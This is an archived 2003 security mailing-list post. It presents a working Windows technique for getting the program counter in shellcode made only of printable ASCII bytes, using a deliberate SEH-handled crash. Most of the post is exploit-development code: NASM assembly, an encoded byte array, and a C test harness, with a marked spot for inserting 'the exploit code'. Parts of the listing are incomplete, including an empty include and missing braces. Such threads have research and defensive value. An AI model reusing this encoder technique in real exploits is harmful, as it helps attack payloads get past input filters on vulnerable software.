Vuln Dev
Re: GetPC code (was: Shellcode from ASCII) Jun 27 2003 08:22PM
noir (noir gsu linux org tr) (2 replies)
Re: GetPC code (was: Shellcode from ASCII) Nov 18 2003 10:57PM
Aaron Adams (aadams securityfocus com) (1 replies)
Re: GetPC code (was: Shellcode from ASCII) Nov 19 2003 10:12PM
noir (noir gsu linux org tr)
Re: GetPC code (was: Shellcode from ASCII) Jun 30 2003 02:30PM
Gerardo Richarte (gera corest com) (1 replies)
Re: GetPC code (was: Shellcode from ASCII) Jul 01 2003 04:56PM
Costin Ionescu (costin ionescu fokus fraunhofer de)

I think I solved your 2nd challenge, but only under Windows. Under Linux
I don't know yet.

The idea: push some code on the stack, put a SEH frame also on the stack
(the frame
points to the code on the stack) and crash! by modifying at that f**kin'
NULL :-)
The code on the stack will receive control and will get the exception
address from parameters
passed to SEH function. ALL THIS ONLY WITH 20-7F bytes ( sorry, I *had*
to shout it out :) )
I've seen now that somebody on the list had a similar idea with this SEH...

Under linux I don't know anything similar to SEH in Windows. You could
set a signal handler for
SIGILL/SIGSEGV with sigaction and you can find out the crash address.
The problem is calling
the sigaction syscall which means int 80h ( CD 80 )... So no more 20-7F
bytes :-(

Anyway *EXTRA-ELLEGANT* solution given by noir !!!!!!!!!! WOW!!!

Now the short version:
(warning! the ^? above is 7Fh)

And the long version is

getpc.asm (nasm-like syntax):

bits 32

push esp
pop ebp ; store stack pointer before the dirty work

%include "" ; push code on stack

push esp
pop ebx ; ebx = my SEH func

push edi
sub [esp], edi
pop edi ; edi = 0

push edi
pop esi ; esi = 0

xor edi, [fs:esi] ; edi = fs:[0]

push ebp ; store orig ESP
push ebx ; my SEH func
push edi ; old SEH frame

xor [fs:esi], edi ; fs:[0] = 0
xor [fs:esi], esp ; fs:[0] = esp (new SEH frame)

xor [esi], esp ; crash!
; put the exploit code here ! :-D
; the following code is to make a working test.c
push edi
pop eax

Now is generated to push on the stack (using 20-7Fh bytes).
The pushed code on the stack (which has all 00-FF opcodes now because is
looks like this:

bits 32
mov ebx, [esp + 04h] ; ebx <- structure with exception info
mov edi, [ebx + 0Ch] ; oooo! ze Exception Address
inc edi ; ehmmm
inc edi ; skip that crashing instruction (2 bytes)
xor eax, eax
mov esp, [esp +08h] ; give back my stack!
pop dword [fs:eax] ; restore old SEH frame
pop eax ; this was the pointer to myseh
pop esp ; ahh! the clean stack
jmp edi ; go!
nop ;
nop ; make this code size multiple of 4 (so my tools work)
; of course this can be optimized

Now a quick test:

#include <stdio.h>

/* Last 3 bytes are to return from this "function" with the result code
the exploit address (meaning
* a pointer to these 3 bytes). The other bytes are in 20-7Fh range!!! */
char code[] = {
/* 0000 */ 0x54, 0x5D, 0x68, 0x41, 0x41, 0x41, 0x41, 0x59, 0x51, 0x58,
0x2D, 0x71, 0x70, 0x50, 0x50, 0x35,
/* 0010 */ 0x2F, 0x37, 0x60, 0x60, 0x50, 0x51, 0x58, 0x2D, 0x51, 0x20,
0x41, 0x41, 0x35, 0x7F, 0x20, 0x58,
/* 0020 */ 0x5C, 0x50, 0x51, 0x58, 0x2D, 0x41, 0x41, 0x21, 0x41, 0x35,
0x64, 0x24, 0x28, 0x64, 0x50, 0x51,
/* 0030 */ 0x58, 0x2D, 0x41, 0x41, 0x51, 0x50, 0x35, 0x47, 0x31, 0x30,
0x7B, 0x50, 0x51, 0x58, 0x2D, 0x51,
/* 0040 */ 0x40, 0x21, 0x41, 0x35, 0x7B, 0x7B, 0x2C, 0x47, 0x50, 0x51,
0x58, 0x2D, 0x51, 0x40, 0x41, 0x21,
/* 0050 */ 0x35, 0x7B, 0x5C, 0x24, 0x24, 0x50, 0x54, 0x5B, 0x57, 0x29,
0x3C, 0x24, 0x5F, 0x57, 0x5E, 0x64,
/* 0060 */ 0x33, 0x3E, 0x55, 0x53, 0x57, 0x64, 0x31, 0x3E, 0x64, 0x31,
0x26, 0x31, 0x26, 0x57, 0x58, 0xC3,

int main ()
void* (*p)();
p = (void* (*)())(&code[0]);
printf("full code = %p. exploit code = %p.\n", &code[0], p());
return (0);

Thoughts for Linux version:
I understood that at gs:0 there is a structure containing some thread
information. Maybe there is
also a map of signal handlers or anything else potentially usefull. If
someone knows better this
stuff maybe will help us.

I attached a rar archive with all the stuff necessary to test my idea.
The files are:
cc.bat <- a batch to call the C compiler (I tested with BC 5.5)
cdump.c <- dumps a binary file in a C-form
gen.c <- generates code only with 20-7F bytes that pushes on the
stack the data in the input file
getpc.asm <- main code
stkcode.asm <- stack code <- generated with gen.exe
getpc.h <- generated with cdump.exe
test.c <- ze damn test

You will need nasm to compile the asm files.



[ reply ]


Privacy Statement
Copyright 2010, SecurityFocus